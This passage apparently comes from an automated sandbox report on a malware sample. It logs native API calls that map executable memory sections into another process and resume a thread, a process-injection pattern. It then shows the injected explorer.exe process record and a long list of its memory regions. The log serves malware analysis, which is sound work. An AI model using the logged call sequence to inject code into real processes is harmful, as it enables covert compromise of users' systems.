ViewSize=0x37e78c*=0x29c00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x37e560*=0x70000, SectionOffset=0x0, ViewSize=0x37e78c*=0x2a000) returned 0x0 [0084.382] NtCreateSection (in: SectionHandle=0x37e800, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x37e308, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x37e800*=0xa4) returned 0x0 [0084.382] NtMapViewOfSection (in: SectionHandle=0xa4, ProcessHandle=0xffffffff, BaseAddress=0x37e804*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x37e308*=0x5000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x37e804*=0x20000, SectionOffset=0x0, ViewSize=0x37e308*=0x5000) returned 0x0 [0084.387] NtUnmapViewOfSection (ProcessHandle=0x84, BaseAddress=0x6b0000) returned 0x0 [0084.387] NtMapViewOfSection (in: SectionHandle=0xa4, ProcessHandle=0x84, BaseAddress=0x37e808*=0x6b0000, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x37ea34*=0x5000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x37e808*=0x6b0000, SectionOffset=0x0, ViewSize=0x37ea34*=0x5000) returned 0x0 [0084.393] NtResumeThread (in: ThreadHandle=0x9c, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0084.395] ExitProcess (uExitCode=0x0) Thread: id = 107 os_tid = 0xbe0 Process: id = "10" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x6ff3d000" os_pid = "0x460" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "9" os_parent_pid = "0xbd8" cmd_line = "C:\\Windows\\Explorer.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e7e8" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1749 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1750 start_va = 0x20000 end_va = 0x21fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1751 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1752 start_va = 0x40000 end_va = 0x41fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1753 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1754 start_va = 0xc0000 end_va = 0x1bffff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 1755 start_va = 0x1c0000 end_va = 0x1c6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 1756 start_va = 0x1d0000 end_va = 0x1d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 1757 start_va = 0x1e0000 end_va = 0x1e0fff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1758 start_va = 0x1f0000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 1759 start_va = 0x270000 end_va = 0x270fff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 1760 start_va = 0x280000 end_va = 0x2bffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 1761 start_va = 0x2c0000 end_va = 0x2c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1762 start_va = 0x2d0000 end_va = 0x2d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 1763 start_va = 0x2e0000 end_va = 0x2e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002e0000" filename = "" Region: id = 1764 start_va = 0x2f0000 end_va = 0x2f1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002f0000" filename = "" Region: id = 1765 start_va = 0x300000 end_va = 0x315fff entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 1766 start_va = 0x320000 end_va = 0x320fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 1767 start_va = 0x330000 end_va = 0x330fff entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 1768 start_va = 0x340000 end_va = 0x341fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000340000" filename = "" Region: id = 1769 start_va = 0x350000 end_va = 0x44ffff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 1770 start_va = 0x450000 end_va = 0x52efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1771 start_va = 0x530000 end_va = 0x530fff entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 1772 start_va = 0x540000 end_va = 0x5bffff entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 1773 start_va = 0x5c0000 end_va = 0x5cffff entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 1774 start_va = 0x5d0000 end_va = 0x757fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 1775 start_va = 0x760000 end_va = 0x8e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000760000" filename = "" Region: id = 1776 start_va = 0x8f0000 end_va = 0x1ceffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008f0000" filename = "" Region: id = 1777 start_va = 0x1cf0000 end_va = 0x20e2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001cf0000" filename = "" Region: id = 1778 start_va = 0x20f0000 end_va = 0x2105fff entry_point = 0x0 region_type = private name = "private_0x00000000020f0000" filename = "" Region: id = 1779 start_va = 0x2110000 end_va = 0x2110fff entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 1780 start_va = 0x2120000 end_va = 0x2177fff entry_point = 0x0 region_type = private name = "private_0x0000000002120000" filename = "" Region: id = 1781 start_va = 0x2180000 end_va = 0x21ebfff entry_point = 0x0 region_type = private name = "private_0x0000000002180000" filename = "" Region: id = 1782 start_va = 0x21f0000 end_va = 0x226ffff entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 1783 start_va = 0x2270000 end_va = 0x253efff entry_point = 0x2270000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1784 start_va = 0x2540000 end_va = 0x2541fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002540000" filename = "" Region: id = 1785 start_va = 0x2550000 end_va = 0x2551fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002550000" filename = "" Region: id = 1786 start_va = 0x2560000 end_va = 0x2562fff entry_point = 0x2560000 region_type = mapped_file name = "comctl32.dll.mui" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3\\comctl32.dll.mui" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.7600.16385_en-us_106f9be843a9b4e3\\comctl32.dll.mui") Region: id = 1787 start_va = 0x2570000 end_va = 0x2570fff entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 1788 start_va = 0x2580000 end_va = 0x2580fff entry_point = 0x0 region_type = private name = "private_0x0000000002580000" filename = "" Region: id = 1789 start_va = 0x2590000 end_va = 0x260ffff entry_point = 0x0 region_type = private name = "private_0x0000000002590000" filename = "" Region: id = 1790 start_va = 0x2610000 end_va = 0x2633fff entry_point = 0x0 region_type = private name = "private_0x0000000002610000" filename = "" Region: id = 1791 start_va = 0x2640000 end_va = 0x2641fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002640000" filename = "" Region: id = 1792 start_va = 0x2650000 end_va = 0x274ffff entry_point = 0x0 region_type = private name = "private_0x0000000002650000" filename = "" Region: id = 1793 start_va = 0x2750000 end_va = 0x2758fff entry_point = 0x0 region_type = private name = "private_0x0000000002750000" filename = "" Region: id = 1794 start_va = 0x2760000 end_va = 0x2767fff entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 1795 start_va = 0x2770000 end_va = 0x27b7fff entry_point = 0x0 region_type = private name = "private_0x0000000002770000" filename = "" Region: id = 1796 start_va = 0x27c0000 end_va = 0x27c3fff entry_point = 0x0 region_type = private name = "private_0x00000000027c0000" filename = "" Region: id = 1797 start_va = 0x27d0000 end_va = 0x27d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000027d0000" filename = "" Region: id = 1798 start_va = 0x27e0000 end_va = 0x27e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000027e0000" filename = "" Region: id = 1799 start_va = 0x27f0000 end_va = 0x28effff entry_point = 0x0 region_type = private name = "private_0x00000000027f0000" filename = "" Region: id = 1800 start_va = 0x28f0000 end_va = 0x29effff entry_point = 0x28f0000 region_type = mapped_file name = "thumbcache_96.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_96.db") Region: id = 1801 start_va = 0x29f0000 end_va = 0x29fbfff entry_point = 0x29f0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 1802 start_va = 0x2a00000 end_va = 0x2a07fff entry_point = 0x2a00000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 1803 start_va = 0x2a10000 end_va = 0x2a1ffff entry_point = 0x2a10000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 1804 start_va = 0x2a20000 end_va = 0x2a20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a20000" filename = "" Region: id = 1805 start_va = 0x2a30000 end_va = 0x2a3ffff entry_point = 0x2a30000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012019021120190212\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\mshist012019021120190212\\index.dat") Region: id = 1806 start_va = 0x2a40000 end_va = 0x2a41fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a40000" filename = "" Region: id = 1807 start_va = 0x2a50000 end_va = 0x2a52fff entry_point = 0x0 region_type = private name = "private_0x0000000002a50000" filename = "" Region: id = 1808 start_va = 0x2a60000 end_va = 0x2a61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a60000" filename = "" Region: id = 1809 start_va = 0x2a70000 end_va = 0x2a74fff entry_point = 0x2a70000 region_type = mapped_file name = "actioncenter.dll.mui" filename = "\\Windows\\System32\\en-US\\ActionCenter.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\actioncenter.dll.mui") Region: id = 1810 start_va = 0x2a80000 end_va = 0x2a8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a80000" filename = "" Region: id = 1811 start_va = 0x2ad0000 end_va = 0x2ad0fff entry_point = 0x2ad0000 region_type = mapped_file name = "thumbcache_32.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_32.db") Region: id = 1812 start_va = 0x2ae0000 end_va = 0x2ae0fff entry_point = 0x2ae0000 region_type = mapped_file name = "thumbcache_1024.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db") Region: id = 1813 start_va = 0x2af0000 end_va = 0x2e32fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002af0000" filename = "" Region: id = 1814 start_va = 0x2e40000 end_va = 0x2e5ffff entry_point = 0x2e40000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000018.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000018.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000018.db") Region: id = 1815 start_va = 0x2e60000 end_va = 0x2e60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002e60000" filename = "" Region: id = 1816 start_va = 0x2e70000 end_va = 0x2e73fff entry_point = 0x2e70000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1817 start_va = 0x2e80000 end_va = 0x2eaffff entry_point = 0x2e80000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000001c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db") Region: id = 1818 start_va = 0x2eb0000 end_va = 0x2eb3fff entry_point = 0x2eb0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1819 start_va = 0x2ec0000 end_va = 0x2ec1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002ec0000" filename = "" Region: id = 1820 start_va = 0x2ed0000 end_va = 0x2ed1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002ed0000" filename = "" Region: id = 1821 start_va = 0x2ee0000 end_va = 0x2f5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ee0000" filename = "" Region: id = 1822 start_va = 0x2f60000 end_va = 0x2f63fff entry_point = 0x0 region_type = private name = "private_0x0000000002f60000" filename = "" Region: id = 1823 start_va = 0x2f70000 end_va = 0x2f73fff entry_point = 0x0 region_type = private name = "private_0x0000000002f70000" filename = "" Region: id = 1824 start_va = 0x2f80000 end_va = 0x2f81fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002f80000" filename = "" Region: id = 1825 start_va = 0x2f90000 end_va = 0x2f90fff entry_point = 0x0 region_type = private name = "private_0x0000000002f90000" filename = "" Region: id = 1826 start_va = 0x2fa0000 end_va = 0x2fa0fff entry_point = 0x0 region_type = private name = "private_0x0000000002fa0000" filename = "" Region: id = 1827 start_va = 0x2fb0000 end_va = 0x302ffff entry_point = 0x0 region_type = private name = "private_0x0000000002fb0000" filename = "" Region: id = 1828 start_va = 0x3030000 end_va = 0x3030fff entry_point = 0x0 region_type = private name = "private_0x0000000003030000" filename = "" Region: id = 1829 start_va = 0x3040000 end_va = 0x3040fff entry_point = 0x0 region_type = private name = "private_0x0000000003040000" filename = "" Region: id = 1830 start_va = 0x3050000 end_va = 0x3050fff entry_point = 0x0 region_type = private name = "private_0x0000000003050000" filename = "" Region: id = 1831 start_va = 0x3060000 end_va = 0x3060fff entry_point = 0x0 region_type = private name = "private_0x0000000003060000" filename = "" Region: id = 1832 start_va = 0x3070000 end_va = 0x30effff entry_point = 0x0 region_type = private name = "private_0x0000000003070000" filename = "" Region: id = 1833 start_va = 0x30f0000 end_va = 0x30f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000030f0000" filename = "" Region: id = 1834 start_va = 0x3100000 end_va = 0x3101fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003100000" filename = "" Region: id = 1835 start_va = 0x3110000 end_va = 0x3113fff entry_point = 0x3110000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1836 start_va = 0x3120000 end_va = 0x3121fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003120000" filename = "" Region: id = 1837 start_va = 0x3130000 end_va = 0x3130fff entry_point = 0x3130000 region_type = mapped_file name = "{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db") Region: id = 1838 start_va = 0x3140000 end_va = 0x3143fff entry_point = 0x3140000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1839 start_va = 0x3150000 end_va = 0x3150fff entry_point = 0x0 region_type = private name = "private_0x0000000003150000" filename = "" Region: id = 1840 start_va = 0x3160000 end_va = 0x3160fff entry_point = 0x0 region_type = private name = "private_0x0000000003160000" filename = "" Region: id = 1841 start_va = 0x3170000 end_va = 0x31d5fff entry_point = 0x3170000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 1842 start_va = 0x31e0000 end_va = 0x31e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000031e0000" filename = "" Region: id = 1843 start_va = 0x31f0000 end_va = 0x31f3fff entry_point = 0x31f0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1844 start_va = 0x3200000 end_va = 0x3200fff entry_point = 0x0 region_type = private name = "private_0x0000000003200000" filename = "" Region: id = 1845 start_va = 0x3210000 end_va = 0x3211fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003210000" filename = "" Region: id = 1846 start_va = 0x3220000 end_va = 0x322ffff entry_point = 0x0 region_type = private name = "private_0x0000000003220000" filename = "" Region: id = 1847 start_va = 0x3230000 end_va = 0x3230fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003230000" filename = "" Region: id = 1848 start_va = 0x3240000 end_va = 0x3240fff entry_point = 0x3240000 region_type = mapped_file name = "{0448dc77-1f74-49f5-ba7e-8de74fa55642}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{0448DC77-1F74-49F5-BA7E-8DE74FA55642}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{0448dc77-1f74-49f5-ba7e-8de74fa55642}.2.ver0x0000000000000001.db") Region: id = 1849 start_va = 0x3250000 end_va = 0x3253fff entry_point = 0x3250000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1850 start_va = 0x3260000 end_va = 0x32dffff entry_point = 0x0 region_type = private name = "private_0x0000000003260000" filename = "" Region: id = 1851 start_va = 0x32e0000 end_va = 0x32e0fff entry_point = 0x32e0000 region_type = mapped_file name = "{9d8c497c-611a-4408-acad-eadee99a69bf}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{9D8C497C-611A-4408-ACAD-EADEE99A69BF}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{9d8c497c-611a-4408-acad-eadee99a69bf}.2.ver0x0000000000000001.db") Region: id = 1852 start_va = 0x32f0000 end_va = 0x32f0fff entry_point = 0x0 region_type = private name = "private_0x00000000032f0000" filename = "" Region: id = 1853 start_va = 0x3300000 end_va = 0x3300fff entry_point = 0x0 region_type = private name = "private_0x0000000003300000" filename = "" Region: id = 1854 start_va = 0x3310000 end_va = 0x3310fff entry_point = 0x0 region_type = private name = "private_0x0000000003310000" filename = "" Region: id = 1855 start_va = 0x3320000 end_va = 0x3320fff entry_point = 0x0 region_type = private name = "private_0x0000000003320000" filename = "" Region: id = 1856 start_va = 0x3330000 end_va = 0x3330fff entry_point = 0x0 region_type = private name = "private_0x0000000003330000" filename = "" Region: id = 1857 start_va = 0x3340000 end_va = 0x3340fff entry_point = 0x0 region_type = private name = "private_0x0000000003340000" filename = "" Region: id = 1858 start_va = 0x3350000 end_va = 0x3350fff entry_point = 0x0 region_type = private name = "private_0x0000000003350000" filename = "" Region: id = 1859 start_va = 0x3360000 end_va = 0x3361fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003360000" filename = "" Region: id = 1860 start_va = 0x3370000 end_va = 0x3370fff entry_point = 0x0 region_type = private name = "private_0x0000000003370000" filename = "" Region: id = 1861 start_va = 0x3380000 end_va = 0x33fffff entry_point = 0x0 region_type = private name = "private_0x0000000003380000" filename = "" Region: id = 1862 start_va = 0x3400000 end_va = 0x3400fff entry_point = 0x3400000 region_type = mapped_file name = "thumbcache_sr.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_sr.db") Region: id = 1863 start_va = 0x3410000 end_va = 0x3410fff entry_point = 0x3410000 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 1864 start_va = 0x3420000 end_va = 0x3420fff entry_point = 0x3420000 region_type = mapped_file name = "thumbcache_32.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_32.db") Region: id = 1865 start_va = 0x3430000 end_va = 0x347ffff entry_point = 0x0 region_type = private name = "private_0x0000000003430000" filename = "" Region: id = 1866 start_va = 0x3480000 end_va = 0x3480fff entry_point = 0x3480000 region_type = mapped_file name = "thumbcache_1024.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db") Region: id = 1867 start_va = 0x3490000 end_va = 0x3490fff entry_point = 0x3490000 region_type = mapped_file name = "thumbcache_sr.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_sr.db") Region: id = 1868 start_va = 0x34a0000 end_va = 0x34a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000034a0000" filename = "" Region: id = 1869 start_va = 0x34b0000 end_va = 0x34b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000034b0000" filename = "" Region: id = 1870 start_va = 0x34c0000 end_va = 0x34c0fff entry_point = 0x34c0000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\windows\\system32\\oleaccrc.dll") Region: id = 1871 start_va = 0x34d0000 end_va = 0x354ffff entry_point = 0x0 region_type = private name = "private_0x00000000034d0000" filename = "" Region: id = 1872 start_va = 0x3550000 end_va = 0x3e7ffff entry_point = 0x3550000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 1873 start_va = 0x3e80000 end_va = 0x3e80fff entry_point = 0x3e80000 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 1874 start_va = 0x3ec0000 end_va = 0x3ec0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ec0000" filename = "" Region: id = 1875 start_va = 0x3ed0000 end_va = 0x3ed0fff entry_point = 0x3ed0000 region_type = mapped_file name = "wdmaud.drv.mui" filename = "\\Windows\\System32\\en-US\\wdmaud.drv.mui" (normalized: "c:\\windows\\system32\\en-us\\wdmaud.drv.mui") Region: id = 1876 start_va = 0x3ee0000 end_va = 0x3ee0fff entry_point = 0x3ee0000 region_type = mapped_file name = "mmdevapi.dll.mui" filename = "\\Windows\\System32\\en-US\\MMDevAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mmdevapi.dll.mui") Region: id = 1877 start_va = 0x3ef0000 end_va = 0x3ef1fff entry_point = 0x0 region_type = private name = "private_0x0000000003ef0000" filename = "" Region: id = 1878 start_va = 0x3f00000 end_va = 0x3f7ffff entry_point = 0x0 region_type = private name = "private_0x0000000003f00000" filename = "" Region: id = 1879 start_va = 0x3f80000 end_va = 0x3fb2fff entry_point = 0x0 region_type = private name = "private_0x0000000003f80000" filename = "" Region: id = 1880 start_va = 0x3fd0000 end_va = 0x3fd0fff entry_point = 0x3fd0000 region_type = mapped_file name = "thumbcache_32.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_32.db") Region: id = 1881 start_va = 0x4000000 end_va = 0x4000fff entry_point = 0x4000000 region_type = mapped_file name = "thumbcache_1024.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db") Region: id = 1882 start_va = 0x4010000 end_va = 0x408ffff entry_point = 0x0 region_type = private name = "private_0x0000000004010000" filename = "" Region: id = 1883 start_va = 0x4090000 end_va = 0x410ffff entry_point = 0x0 region_type = private name = "private_0x0000000004090000" filename = "" Region: id = 1884 start_va = 0x4110000 end_va = 0x4110fff entry_point = 0x4110000 region_type = mapped_file name = "thumbcache_sr.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_sr.db") Region: id = 1885 start_va = 0x4120000 end_va = 0x4120fff entry_point = 0x4120000 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 1886 start_va = 0x4130000 end_va = 0x4131fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004130000" filename = "" Region: id = 1887 start_va = 0x4180000 end_va = 0x4181fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004180000" filename = "" Region: id = 1888 start_va = 0x41a0000 end_va = 0x41a0fff entry_point = 0x0 region_type = pagefile_backed name = 